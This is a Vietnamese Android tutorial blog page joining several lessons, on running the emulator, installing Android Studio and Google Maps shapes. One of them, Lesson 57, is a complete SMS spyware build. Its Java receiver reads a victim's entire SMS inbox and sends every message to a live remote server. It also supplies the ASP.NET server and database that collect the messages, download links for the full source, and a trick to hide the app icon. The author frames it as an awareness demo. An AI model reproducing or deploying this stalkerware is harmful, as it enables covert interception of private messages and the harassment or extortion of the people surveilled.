4) Cách tạo và sử dụng Android Emulator trong Android Studio

Để chạy phần mềm Android Studio ta có nhiều cách:

– Nhấn biểu tượng Run trên thanh Toolbar

– Vào menu Run/Run ‘App’ (nhấn Shift + F10)

– Vào menu Run/Run (nhấn Alt + Shift + F10)

– Bây giờ ta thực thi HelloWorldAndroidStudio:

– Trong trường hợp có kết nối tới thiết bị thật, Android Studio sẽ hiển thị ngay thiết bị thật cho ta lựa chọn: android_59_10

Ta chọn thiết bị thật rồi nhấn nút OK, Ta xem kết quả:

android_59_11– Nếu chưa kết nối tới thiết bị thật (không có máy thật), và cũng chưa có kích hoạt máy ảo thì ta phải tạo máy ảo, lúc chạy lên hệ thống bắt ta làm điều này (nếu nó chưa nhận dạng được thiết bị nào):

android_59_12– Ở màn hình trên ta chọn Launch Emulator:

+ Ở mục 1 cho phép ta xem danh sách Emulator đã được tạo trước (nếu có)

+ Ở mục 2 nếu ta không muốn chọn Emulator trước đó mà muốn tạo mới thì bấm vào cấu hình xong nhấn OK, màn hình Android Virtual Device Manager sẽ xuất hiện:

android_59_13Ta bấm vào Start để kích hoạt máy ảo, nếu không muốn thì bấm vào create Virtual Device để tạo máy ảo mới. Bạn chú ý là nếu máy bạn không hỗ trợ ảo hóa thì tốt nhất sử dụng API 19 trở xuống, còn nếu cố gắng chọn 21 chắc chắn nó không cho chạy (phải biết cách cấu hình, Tui sẽ hướng dẫn ở bài sau).

– Nếu bấm vào Create Virtual Device:

Màn hình Select Hardware sẽ hiển thị:

android_59_14– Nên chọn độ phân giải nhỏ để không tốn bộ nhớ nhiều (mục 1)

– Sau đó nhấn Next ở mục 2. Tiến hành chọn System Image:

android_59_15Bạn cần chọn API để tạo máy ảo, nếu tải thì rất mất thời gian, Tui đưa ra 1 “Mẹo” giúp các bạn không phải tải về nếu như trước đó đa đang sử dụng bên Eclipse cũ: Đó là chép thư mục “android-19” hay bất kỳ gói API nào có trong 2 thư mục của Eclipse thường đó là thư mục platformssystem-images vào SDK của Android Studio mà bạn đã cài đặt.

Tiếp theo  bấm Next:

android_59_20Để cấu hình nâng cao chon Show Advanced Settings:

android_59_21Bấm Finish:

android_59_22Bạn bấm Start và chờ cho Emulator kích hoạt như hình:

android_59_24Sau đó quay trở lại màn hình chọn máy ảo thì ta mới thấy nó hiển thị ở đây:

android_59_23Ta thấy Máy ảo hiển thị ra như trên, tiến hành chọn rồi nhấn nút OK.

Ta được kết quả như sau:

android_59_25Như vậy tới đây bạn đã chạy được Ứng dụng trên cả máy thật và máy ảo.

5) Quy trình thực thi một phần mềm lên thiết bị (thật, emulator) trong Android Studio.

Quy trình để chạy được 1 ứng dụng như trên là gì?

Bước 1: Biên dịch và đóng gói ứng dụng thành file APK.

Bước 2: Hệ thống tiến hành tìm Thiết bị (thật, ảo)

Bước 3: Nếu tìm được thiết bị, tiến hành tải APK ở bước 1 vào Remote Path /data/local/tmp/com.tranduythanh.helloandroidstudio

Bước 4: Tiến hành cài đặt ứng dụng vào thiết bị nếu bước 3 tải thành công, hệ thống dùng lệnh sau để cài đặt:

DEVICE SHELL COMMAND: pm install -r “/data/local/tmp/com.tranduythanh.helloandroidstudio”
pkg: /data/local/tmp/com.tranduythanh.helloandroidstudio

Bước 5: Nếu cài đặt thành công tiến hành kích hoạt Ứng dụng để chạy

Tìm trong AndroidManifest, Activity nào được thiết lập ACTION MAIN sẽ được thực hiện.

Hệ thống dùng lệnh:

DEVICE SHELL COMMAND: am start -n “com.tranduythanh.helloandroidstudio/com.tranduythanh.helloandroidstudio.MainActivity” -a android.intent.action.MAIN -c android.intent.category.LAUNCHER

Khi khởi động thành công sẽ có thông báo:

Starting: Intent { act=android.intent.action.MAIN cat=[android.intent.category.LAUNCHER] cmp=com.tranduythanh.helloandroidstudio/.MainActivity }

——————————————————————–

– Vậy bạn đã biết tạo 1 Project, hiểu được cấu trúc thành phần của Android, biết cách sử dụng Máy Ảo và các chức năng quan trọng thường dùng, cuối cùng là quy trình để kích hoạt 1 ứng dụng Android lên thiết bị sảy ra như thế nào.

– Trong bài tiếp theo Tui sẽ hướng dẫn các bạn cách xử lý cho phép chạy ứng dụng với API 21 trở lên (có sử dụng chức năng ảo hóa Nếu Main PC của bạn có support, còn MAIN không support thì không thể dùng). Vì nó bị xung đột với HyPer-V khi bạn lập trình Windows Phone, hay sử dụng VMWare, Virtualbox….

– Chúc bạn thành công.

Bài 58: Làm quen với môi trường lập trình Android Studio – Phần 1


Như chúng ta đã biết hiện nay hãng Google đã release bản Android Studio thay thế cho bản Eclipse cũ, khi ta vào link http://developer.android.com/sdk/index.html để tải thì không còn thấy xuất hiện bản cũ nữa mà được thay thế bởi Android Studio.

Như vậy ông lớn Google đã nối gót ông lớn Microsoft để tự tạo ra bộ công cụ lập trình chuẩn riêng. Với Android Studio thì giao diện và đặc biệt là sự biến mất WorkSpace có đôi chút gây khó khăn cho lập trình viên khi mới bắt đầu chuyển qua công cụ này, cũng rất may là Google hỗ trợ tính năng Import Project từ Eclipse cũ qua được Android Studio và logic lập trình cũng tương tự, không khác nhau mấy.

Khi bạn tải Android Studio về thì nó sẽ bao gồm các thành phần sau:

  • Android Studio IDE
  • Android SDK tools
  • Android 5.0 (Lollipop) Platform
  • Android 5.0 emulator system image with Google APIs

Với bản Emulator cho Android 5.0 thì máy tính của lập trình viên phải hỗ trợ tính năng Ảo Hóa và phải cài đặt thêm Hardware Accelerated Execution Manager. Và dĩ nhiên nếu như bạn vừa đồng thời lập trình Windows Phone 8, 8.1 thì có thể sảy ra rắc rối khi bạn kích hoạt Hyper-V (Bạn phải  biết cách sử dụng lệnh để chuyển đổi qua lại khi bạn thay đổi lập trình Android qua Windows phone và ngược lại, dĩ nhiên phải khởi động lại máy, Tui sẽ hướng dẫn cách gõ lệnh thực hiện đều trên ở bài tiếp theo).

Khi bạn vào http://developer.android.com/sdk/index.html, bạn chọn “Download Android Studio for Windows” như hình dưới đây:

android_58_1Bạn copy link chuyển qua IDM để tải cho lẹ (https://dl.google.com/dl/android/studio/install/1.0.1/android-studio-bundle-135.1641136.exe) dung lượng gần 850MB. (Version mới : https://dl.google.com/dl/android/studio/install/1.1.0/android-studio-bundle-135.1740770-windows.exe)

– Một số yêu cầu cấu hình lưu ý trước khi cài đặt:

  • Microsoft® Windows® 8/7/Vista/2003 (32 or 64-bit)
  • Tối thiểu 2 GB RAM hoặc 4 GB RAM, Tui nghĩ càng nhiều càng tốt. 4GB RAM thì cũng có thể gây cho ta một giấc ngủ dài khi ngồi Debug
  • 400 MB hard disk space + ít nhất 1 G cho Android SDK, emulator system images và caches
  • Độ phân giải tối thiếu 1280 x 800
  • Java Development Kit (JDK) 7 trở lên (giờ có bản 8 rồi nên bạn sử dụng luôn – Tui đang sài)
  • Lựa chọn thêm cho accelerated emulator: Intel® processor with support for Intel® VT-x, Intel® EM64T (Intel® 64), and Execute Disable (XD) Bit functionality

Trong phần này Tui sẽ hướng dẫn các bạn cách thức cài đặt Android Studio (dĩ nhiên bạn phải cài trước JDK):

Bước 1:

Sau khi tải về máy thành công, bạn double click vào tập tin “android-studio-bundle-135.1641136.exe

android_58_2Màn hình Welcome to Setup Android Studio sẽ xuất hiện:

android_58_4Ta bấm Next để qua bước 2.

Bước 2:

Màn hình chọn các thành phần cài đặt

android_58_5Ở bước này ta thấy rằng Android Studio yêu cầu tối thiểu gần 4GB để lưu trữ, ta chọn cấu hình như trên rồi bấm Next để qua bước 3.

Bước 3:

Bước đọc xác nhận bản quyền và một số ràng buộc liên quan tới mã nguồn mở.

android_58_6Nếu bạn rảnh thì có thể kéo xuống để đọc cho hết các mô tả sau đó nhấn nút “I Agree” để qua bước 4.

Bước 4:

Cấu hình chọn lựa nơi cài đặt Android Studio.

android_58_7Tui nghĩ rằng ở bước này bạn nên để mặc định không tỏ vẻ nguy hiểm chọn lung tung kẻo sai cấu hình, nhấn Next để qua bước 5.

Bước 5:

Bước chọn Start Menu folder

android_58_8Ở bước này bạn cũng để mặc định, đừng thay đổi gì cả rồi nhấn nút Install để tiến hành cài đặt

Bước 6:

Chờ hệ thống cài đặt phần mềm Android Studio

android_58_9Bạn phải ngồi canh xem nó có báo thiếu thốn hay lỗi gì không, đợi cho tới khi nó báo complete như màn hình dưới đây:

android_58_10Bấm Next để qua màn hình tiếp theo (màn hình xác nhận kết thúc):

android_58_11Nếu bạn checked “Start Android Studio” rồi bấm Finish thì hệ thống sẽ khởi động luôn phần mềm Android Studio cho bạn:

android_58_12Ở màn hình trên lần đầu tiên bạn sẽ chờ hơi lâu một chút, trong quá trình khởi động nó sẽ ra màn hình sau:

android_58_13Nó hiển thị màn hình trên có thể do trước khi hãng Google Release bản này Tui có lập trình thử với bản Beta, bạn chọn cấu hình phù hợp rồi nhấn nút OK, hệ thống tiếp tục chạy….

android_58_14… bạn chờ cho hệ thống chạy hoàn tất, thường nếu lần đầu bạn sử dụng thì nó sẽ bắt tải tùm lum thứ cho đủ

android_58_15chờ nó tải xong (hơi lâu đó nha):

android_58_16Khi xong thì bạn nhấn nút Finish:

android_58_17Ở trên là màn hình bắt đầu lựa chọn tạo Project, mở project, Import project hay các cấu hình khác….

Bạn tới được màn hình này coi như bạn đã hoàn tất phần 1 – Cài đặt Android Studio.

Các lần sau bạn khởi động sẽ rất nhanh, Android Studio sẽ tự động mở ra màn hình cuối cùng này.

Bạn chú ý kiểm tra cấu hình máy và tiến hành cài đặt Android Studio để chuẩn bị cho những bài hướng dẫn kế tiếp về Android sẽ sử dụng bản Release mới này.

Chúc các bạn thành công.

Bài 57: Xây dựng phần mềm nghe trộm Tin Nhắn trong Android


Hiện nay có rất nhiều phần mềm cài cắm sẵn những đoạn mã có thể nghe lén được thông tin của người sử dụng. Nhưng thường người sử dụng lại ít khi quan tâm, nó thực sự nguy hiểm.

Tui dám chắc nếu như các bạn tải phần mềm từ store hay từ đâu đó về cài vào máy thì bạn chả thèm đọc những thông số cấu hình cũng như yêu chức năng nào đó… bạn cứ thế phang từ đầu chí cuối : Next, next, … and finish…. và kết thúc luôn cuộc sống riêng tư của bạn….

Trong bài viết này Tui muốn demo một phần mềm chạy ngầm nho nhỏ về việc Nghe Trộm Tin Nhắn trong Android, để mọi người cẩn thận khi tải các phần mềm miễn phí có tương tác SMS, internet…. tránh được những rắc rối về sau. Các bạn không được áp dụng nó để cài cắm hay theo dõi ai, vì mục đích của Tui là muốn demo việc cài cắm phần mềm nghe lén nó dễ dàng như thế nào và mọi tin nhắn ta bị người khác đọc hết ra sao… để ta cẩn trọng hơn chứ không phải áp dụng vào việc nghe lén người khác. Nếu bạn nào có ý định viết coding nghe lén ai đó thì xin đừng vào blog này để học.

Tui sẽ đưa ra mô hình cũng như cách thức hoạt động của phần mềm Spyware SMS này như sau:

android_57_2

Mô hình trên Tui đánh thứ tự từ 1->4:

Số 1: Là bất kỳ một điện thoại nào đó muốn gửi tin nhắn cho số 2.

Số 2: Là nạn nhân đang bị cài phần mềm gián điệp nghe lén SMS. Phần mềm này có thể sử dụng nhiều chiêu thức, ở đây Tui ví dụ sử dụng BroadCast Receiver để tự động bắt gói tin SMS và sau đó gửi lên SERVER SPYWARE thông qua Web service.

 Số 3: Là Server SPYWARE do ai đó có ý đồ xây dựng để nhận thông tin gửi về từ phần mềm gián điệp sau đó nó sẽ lưu vào cơ sở dữ liệu (số 4) để phục vụ cho các ý đồ không tốt khác.

Số 4: Là Cơ sở dữ liệu được họ xây dựng để lưu lại toàn bộ thông tin trao đổi giữa nạn nhận với các đối tác, họ lưu vào CSDL để phục vụ cho các ý đồ theo sau đó như: Bán thông tin cho Công ty đối thủ, quấy rối, Tống tiền cũng như các mục đích xấu khác ….

Nếu như bạn chỉ là một người dân bình thường, mọi tin nhắn là vô thưởng vô phạt… ví dụ như “Em ăn cơm chưa”, “Em ngủ chưa”, “Em còn sống hay nhăn răng rồi…”, “Em làm gì kệ xác em chứ…” thì chả có ý nghĩa gì với phần mềm gián điệp. Nhưng Tui giả sử bạn là một người của CÔNG CHÚNG (một ca sĩ nổi tiếng, một MC truyền hình nổi tiếng, 1 chính trị gia xuất chúng)., hay một Tổng giám đốc một công ty lớn… Mọi trao đổi thông tin của bạn với đối tác, với người hâm mộ… Nếu như bị người xấu biết được thì làm sao nhỉ? chết chắc chứ con gì…. Giả sử bạn là 1 Giám Đốc, bạn có tin nhắn của Đối Tác cần ký một hợp đồng quan trọng… tự nhiên bị Đối Thủ biết được thì sẽ như thế nào? Phá sản ư? có thể đấy chứ….. Hay là “các” bà Vợ của bạn thường hay nghi ngờ bạn lăng nhăng, họ ngấm ngầm cài phần mềm gián điệp để theo dõi bạn, nếu biết bạn đang có âm mưu lừa ai đó …. Tui nghĩ để Vợ biết được chắc bạn phải học Tịnh Tà Kiếm Phổ suốt đời.

———————————————————————

Sau đây là các bước tiến hành:

– Chú ý CSDL và Web project bạn cấu hình trên somee.com để test (hoặc nếu bạn có Host riêng thì tự làm trên Host của bạn). Cách sử dụng somee.com bạn xem lại các bài hướng dẫn trước (phần Webservice).

1) Xây dựng CSDL với tên dbSpywareSMSApp:

android_57_6Ở đây Tui tạo 2 bảng đơn giản:

– Bảng Account nhằm mục đích đăng nhập hệ thống để quản lý các tin nhắn SMS Spyware gửi về: Gồm có user name và mật khẩu (dĩ nhiên Tui chưa có băm mật khẩu, bạn tự viết coding băm)

– Bảng SMSSpyware, nó có 3 cột. Tui để phonenumber và timestamp (thời gian nhận tin) làm khóa chính. body là nội dung tin nhắn.

2) Xây dựng Web project (SpywareSMSServerApp):

android_57_7– dbSpywareSMSApp.dbml: Bạn kéo LINQ để sử dụng (xem lại các bài hướng dẫn trước):

android_57_8Mở cửa sổ Server Explorer trong Visual Studio/ chọn biểu tượng Connect/ kết nối CSDL mong muốn/ rồi kéo thả vào như hình trên.

SmsExtraInfo: Lớp đặc tả lại cho tin nhắn SMS vì do timestamp được nhận là kiểu long, ở đây ta sửa lại cho nó ra ngày tháng năm theo định dạng nào đó (chuỗi)

WebService1.asmx: Web service cung cấp 2 dịch vụ:

+ public bool LuuSmsChomDuoc(string phoneNumber, string timeStamp, string body)

–> dịch vụ này dùng để cho phần mềm gián điệp đọc thông tin SMS và gửi lên SERVER SPYWARE–> đẩy xuống CSDL

+  public SmsExtraInfo[] DocToanBoTinNhanChomDuoc()

–> Dịch vụ này truy vấn toàn bộ SMS đọc tự CSDL do dịch vụ saveSMSSpyWare lưu xuống.

+ Default.aspx: Website hiển thị toàn bộ SMS đọc lén được thông qua dịch vụ DocToanBoTinNhanChomDuoc. chú ý nếu chưa đăng nhập sẽ tự động quay lại trang login.aspx.

+ login.aspx: Trang yêu cầu đăng nhập hệ thống, đăng nhập thành công mới cho vào trang Default.aspx

Chi tiết:

source code SmsExtraInfo:


using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;

namespace SpywareSMSServerApp
{
[Serializable]
public class SmsExtraInfo
{
public string PhoneNumber { get; set; }
public string TimeStamp { get; set; }
public string Body { get; set; }
}
}

Source code WebService1:


using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Services;

namespace SpywareSMSServerApp
{
    /// <summary>
    /// Summary description for WebService1
    /// </summary>
    [WebService(Namespace = "http://tranduythanh.com/")]
    [WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]
    [System.ComponentModel.ToolboxItem(false)]
    // To allow this Web Service to be called from script, using ASP.NET AJAX, uncomment the following line.
    // [System.Web.Script.Services.ScriptService]
    public class WebService1 : System.Web.Services.WebService
    {

        [WebMethod]
        public string HelloWorld()
        {
            return "Hello World";
        }
        [WebMethod]
        public bool LuuSmsChomDuoc
            (string phoneNumber, string timeStamp, string body)
        {
            dbSpywareSMSAppDataContext db = new dbSpywareSMSAppDataContext();
            SMSSpyware smsChom = db.SMSSpywares.
                FirstOrDefault(x => x.phonenumber == phoneNumber
                    && x.timestamp == timeStamp);
            //nếu tin này =null thì ta mới lưu
            //bằng null tức là chưa tồn tại trong SERVER SPYWARE
            if (smsChom == null)
            {
                try
                {
                    smsChom = new SMSSpyware();
                    smsChom.phonenumber = phoneNumber;
                    smsChom.timestamp = timeStamp;
                    smsChom.body = body;
                    db.SMSSpywares.InsertOnSubmit(smsChom);
                    db.SubmitChanges();
                    return true;
                }
                catch
                {
                 
                }                
            }
            return false;
        }
        //hàm chuyển timestamp trong java qua .net
        public static DateTime JavaTimeStampToDateTime(double javaTimeStamp)
        {
            // Java timestamp is millisecods past epoch
            System.DateTime dtDateTime = new DateTime(1970, 1, 1, 0, 0, 0, 0, System.DateTimeKind.Utc);
            dtDateTime = dtDateTime.AddSeconds(Math.Round(javaTimeStamp / 1000)).ToLocalTime();
            return dtDateTime;
        }
        [WebMethod]
        public SmsExtraInfo[] DocToanBoTinNhanChomDuoc()

        {

            dbSpywareSMSAppDataContext db = new dbSpywareSMSAppDataContext();
            List<SMSSpyware> dsSMS = db.SMSSpywares.ToList();
            List<SmsExtraInfo> dsDisplay = new List<SmsExtraInfo>();
            foreach (SMSSpyware sms in dsSMS)
            {
                SmsExtraInfo infor = new SmsExtraInfo();
                infor.Body = sms.body;
                long l=long.Parse(sms.timestamp);
                DateTime d = JavaTimeStampToDateTime(l);
                infor.TimeStamp = d.ToLongDateString();
                infor.PhoneNumber = sms.phonenumber;
                dsDisplay.Add(infor);
                
            }
            return dsDisplay.ToArray();
        }
        [WebMethod]
        public Account DangNhap(string userName, string passWord)
        {
            dbSpywareSMSAppDataContext db = new dbSpywareSMSAppDataContext();
            Account ac = db.Accounts.FirstOrDefault
                (x => x.username == userName && x.password == passWord);
            return ac;
        }
    }
}

Bạn chú ý ở trên có đoạn coding chuyển TimeStamp từ Android qua DateTime trong asp.net.

Bạn có thể nối thêm ToLongTimeString để nó có đầy đủ giờ phút giây…

infor.TimeStamp = d.ToLongDateString()+”;”+d.ToLongTimeString();

Source Design Default.aspx:

<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="Default.aspx.cs" Inherits="SpywareSMSServerApp.Default" %>

<!DOCTYPE html>

<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
    <title></title>
    <meta http-equiv="refresh" content="10"/>
</head>
<body>
    <form id="form1" runat="server">
    <div>
    
        Danh sách tin nhắn chôm được:<br />
        <asp:GridView ID="GridView1" runat="server">
        </asp:GridView>
    
    </div>
    </form>
</body>
</html>

<meta http-equiv="refresh" content="10"/> 
cho phép tự động 10 giây tải lại website 1 lần.

Source coding behind Default.aspx.cs:


using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;

namespace SpywareSMSServerApp
{
public partial class Default : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
if (Session["AC"] == null)
{

//Chưa đăng nhập thì quay lại login
Response.Redirect("login.aspx");
}
else
{
WebService1 ws=new WebService1();
GridView1.DataSource = ws.DocToanBoTinNhanChomDuoc();
GridView1.DataBind();
}
}
}
}

Source design cho màn hình đăng nhập login.aspx:


<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="Login.aspx.cs" Inherits="SpywareSMSServerApp.Login" %>

<!DOCTYPE html>

<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title></title>
<style type="text/css">
.auto-style1 {
width: 100%;
}
</style>
</head>
<body>
<form id="form1" runat="server">
<table >
<tr>
<td>Tên đăng nhập:</td>
<td>
<asp:TextBox ID="txtUserName" runat="server"></asp:TextBox>
</td>
</tr>
<tr>
<td>Mật Khẩu:</td>
<td>
<asp:TextBox ID="txtPassword" runat="server" TextMode="Password"></asp:TextBox>
</td>
</tr>
<tr>
<td>&nbsp;</td>
<td>
<asp:Button ID="btnDangNhap" runat="server" OnClick="btnDangNhap_Click" Text="Đăng nhập" />
</td>
</tr>
</table>
<asp:Label ID="lblThongBao" runat="server" ForeColor="Red"></asp:Label>
<br />
</form>
</body>
</html>

Hình minh họa:

android_57_9Source coding behind xử lý đăng nhập:


using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;

namespace SpywareSMSServerApp
{
public partial class Login : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{

}

protected void btnDangNhap_Click(object sender, EventArgs e)
{
WebService1 ws = new WebService1();
Account ac = ws.DangNhap(txtUserName.Text, txtPassword.Text);
if (ac == null)
{
lblThongBao.Text = "Đăng nhập thất bại";
}
else
{
//cần lưu ac đăng nhập vào Session:
Session.Add("AC", ac);
Response.Redirect("Default.aspx");
}
}
}
}

Như vậy bạn đã xây dựng xong SERVER SPYWARE và CSDL.

Bạn cấu hình và đưa lên Somee.com thì bạn được kết quả như sau (nếu đăng nhập thành công):

android_57_10Nếu bạn nối thêm ToLongTimeString thì có kết quả như sau (Đầy đủ giờ phút giây…):

android_57_11Các bước đưa lên Somee.com bạn phải tự xem lại các bài hướng dẫn trước rất chi tiết.

Source code bạn tải ở đây:

Source SQL Server: http://www.mediafire.com/download/1deekpd7r59sv6w/dbSpywareSMSApp.sql

Tui để sẵn dòng insert account, bạn sửa lại rồi chạy script trên Somee.com để tạo CSDL

Source Web Project: http://www.mediafire.com/download/aj3e64fqjq60cf5/SpywareSMSServerApp.rar

Bạn nhớ sửa lại web.config cho đúng cấu hình với chuỗi kết nối của bạn.

Cấu hình thành công bạn sẽ được mô tả webservice như của Tui như link sau:

http://duythanhit.somee.com/webservice1.asmx?WSDL

*** Tiếp theo xây dựng phần mềm Gián điệp client, tên là SpywareSMSApp với cấu trúc như sau:

android_57_5Giải thích:

SmsInfo : Lớp tạo một tin nhắn SMS để phục vụ cho SpywareTask SpywareSmsReceiver

SpywareSmsReceiver: Lớp tự động lắng nghe tin nhắn gửi tới và đọc thông tin tin nhắn, đóng gói thành lớp SmsInfo rồi gửi gói này cho SpywareTask.

SpywareTask : Là lớp chạy đa tiến trình, nhiệm vụ là nhận gói tin SmsInfo do SpywareSmsReceiver gửi qua, nhận được gói tin xong nó sẽ gửi lên SERVER SPYWARE thông qua Web Service.

Chú ý là phần mềm sau khi được cài đặt vào máy nạn nhân nó sẽ tự động lắng nghe tin SMS gửi tới, cho dùng nạn nhân không kích hoạt phần mềm.

source code của SmsInfo:


package tranduythanh.com.spywaresmsapp;

public class SmsInfo {
private String phoneNumber;
private String timeStamp;
private String body;
public String getPhoneNumber() {
return phoneNumber;
}
public void setPhoneNumber(String phoneNumber) {
this.phoneNumber = phoneNumber;
}
public String getTimeStamp() {
return timeStamp;
}
public void setTimeStamp(String timeStamp) {
this.timeStamp = timeStamp;
}
public String getBody() {
return body;
}
public void setBody(String body) {
this.body = body;
}

}

Tiếp theo là coding lớp SpywareSmsReceiver  (lớp tự lắng nghe tin nhắn gửi tới và gửi gói tin qua SypeWare task):


package tranduythanh.com.spywaresmsapp;

import android.content.BroadcastReceiver;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.database.Cursor;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.net.Uri;
import android.os.SystemClock;
import android.widget.Toast;

public class SpywareSmsReceiver extends BroadcastReceiver {
/**
* Hàm kiểm tra xem thiết bị của máy nạn nhân có đang
* kết nối internet hay ko?
* @param context
* @return
*/
public boolean isConnect(Context context)
{
ConnectivityManager cm =
(ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);
NetworkInfo netInfo = cm.getActiveNetworkInfo();
boolean b= netInfo != null && netInfo.isConnectedOrConnecting();
return b;
}
public void onReceive(Context context, Intent intent) {
if(isConnect(context))
{
try
{
processReadAllSMSInInbox(context);
}
catch(Exception ex)
{
Toast.makeText(context,ex.toString(), Toast.LENGTH_LONG).show();
}
}
else
{
Toast.makeText(context, "No internet", Toast.LENGTH_LONG).show();
}
}
/**
* xử lý đọc toàn bộ tin nhắn trong inbox
* mục đích là giết lầm hơn bỏ sót...
* vì có thể trước thời điểm cài phần mềm Spyware
* đã có nhiều tin nhắn, nên ta đọc hết
* @param context
*/
public void processReadAllSMSInInbox(Context context)
{
ContentResolver contentResolver =
context.getContentResolver();
Cursor cursor = contentResolver.query(
Uri.parse("content://sms/inbox"),
null, null, null, null
);

int indexPhoneNumber = cursor.getColumnIndex("address");
int indexTimeStamp = cursor.getColumnIndex("date");
int indexBody = cursor.getColumnIndex("body");
if ( indexBody < 0 || !cursor.moveToFirst() )
return;
do{
String phonenumber=cursor.getString( indexPhoneNumber );
String timeStamp=cursor.getString(indexTimeStamp);
String body= cursor.getString( indexBody );
SmsInfo smsInfor=new  SmsInfo();
smsInfor.setBody(body);
smsInfor.setPhoneNumber(phonenumber);
smsInfor.setTimeStamp(timeStamp);
//mỗi lần đọc được 1 tin nhắn thì đưa vào tiểu trình
//để đẩy lên server spyware
SpywareTask task=new SpywareTask();
task.execute(smsInfor);
SystemClock.sleep(100);
}
while( cursor.moveToNext() );
}
}

– Source code của lớp SpywareTask (tiểu trình để đẩy gói tin lên server spyware):


package tranduythanh.com.spywaresmsapp;

import org.ksoap2.SoapEnvelope;
import org.ksoap2.serialization.SoapObject;
import org.ksoap2.serialization.SoapSerializationEnvelope;
import org.ksoap2.transport.HttpTransportSE;

import android.os.AsyncTask;

public class SpywareTask extends AsyncTask<SmsInfo, Void, Void>{
final String URL="http://duythanhit.somee.com/webservice1.asmx?WSDL";
final String NAMESPACE="http://tranduythanh.com/";
final String METHOD_NAME="LuuSmsChomDuoc";
final String SOAP_ACTION=NAMESPACE+METHOD_NAME;
@Override
protected Void doInBackground(SmsInfo... params) {
try{
SmsInfo sms=params[0];
SoapObject request=new SoapObject(NAMESPACE, METHOD_NAME);
request.addProperty("phoneNumber", sms.getPhoneNumber());
request.addProperty("timeStamp", sms.getTimeStamp());
request.addProperty("body", sms.getBody());
SoapSerializationEnvelope envelope=
new SoapSerializationEnvelope(SoapEnvelope.VER11);
envelope.dotNet=true;
envelope.setOutputSoapObject(request);
HttpTransportSE androidHttpTransport=
new HttpTransportSE(URL);
androidHttpTransport.call(SOAP_ACTION, envelope);
envelope.getResponse();
}
catch(Exception e)    {}
return null;
}
}

– Ta không cần viết coding gì hết trong MainActivity

– Tiếp theo để cho ứng dụng có khả năng chạy ngầm và tự động lắng nghe SMS thì ta cấu hình AndroidManifest như sau:


<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="tranduythanh.com.spywaresmsapp"
android:versionCode="1"
android:versionName="1.0" >

<uses-sdk
android:minSdkVersion="14"
android:targetSdkVersion="19" />

<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.WRITE_SMS" />
<uses-permission android:name="android.permission.READ_SMS" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.INTERNET"/>

<application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<activity
android:name=".MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />

<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>

<receiver android:name="tranduythanh.com.spywaresmsapp.SpywareSmsReceiver" >
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
</intent-filter>
</receiver>
</application>

</manifest>

– Giải thích:

+<uses-permission android:name=”android.permission.ACCESS_NETWORK_STATE” /> quyền cho phép kiểm tra trạng thái kết nối mạng của thiết bị. Còn các quyền khác bạn đã biết.

+ Từ dòng 32->36:

<receiver android:name=”tranduythanh.com.spywaresmsapp.SpywareSmsReceiver” >
<intent-filter>
<action android:name=”android.provider.Telephony.SMS_RECEIVED” />
</intent-filter>

Cho phép đăng ký SpywareSmsReceiver như là 1 dịch vụ chạy ngầm và nó tự lắng nghe theo android.provider.Telephony.SMS_RECEIVED (tin nhắn tới) được khái báo trong tag intent-filter .

– Như vậy bạn đã hoàn thành xây dựng ứng dụng Gián Điệp, chỉ cần máy nạn nhân cài đặt phần mềm này, khi có kết nối internet nếu có bất kỳ tin nhắn nào gửi tới máy nạn nhân thì bạn đều đọc được hết thông tin trong inbox. Bạn thấy đấy, các phần mềm trên mạng có thể dễ dàng cài phần mềm gián điệp mà bạn không hề để ý… mọi tin của bạn đều có thể bị đọc trộm…nó rất nguy hiểm. Bạn cần biết sự nguy hiểm này thông qua các cách hướng dẫn lập trình ở trên để biết tránh rủi ro chứ không phải dùng với mục đích xấu.

-Bạn có thể tải source client Sms Spyware đầy đủ ở đây:

http://www.mediafire.com/download/qi95v0w63makg5g/SpywareSMSApp.rar

Thường khi chúng ta bị cài phần mềm gián điệp thì không thấy xuất hiện Icon khi cài đặt vào máy, chỉ trong Application Manager mới thấy, do cấu hình đơn giản trong Android Manifest như sau:

<activity
            android:name=”.MainActivity”
            android:label=”@string/app_name” >
            <intent-filter>
                <action android:name=”android.intent.action.MAIN” />

                <category android:name=”android.intent.category.LAUNCHER” />
            </intent-filter>
</activity>

Xóa hết Intent -Filter đi chỉ còn lại:

<activity
            android:name=”.MainActivity”
            android:label=”@string/app_name” >
</activity>

Do đó khi bị cài ngầm vào, nạn nhân thường không biết vì không thấy biểu tưởng phần mềm nào lạ cả. Nhưng nó đã đang chạy ngầm rồi.

– Chúc bạn thành công! và nhớ đừng làm việc gì xấu xa.

Bài 56: Google Maps Android API – phần 4


Tiếp tục bài 55, bài 54, bài 53 bạn đã cơ bản lập trình được với Google Map. Trong bài này Tui sẽ hướng dẫn các bạn cách dùng các đối tượng Shape để tương tác với Google Map, chẳng hạn như:

  • Polyline
  • Polygons
  • Circle

Hay cách hiển thị kiểu Map tùy thích (hiện nay Google Map cung cấp các chế độ: NONE, NORMAL, SATELLITE, HYBRID và TERRAIN).

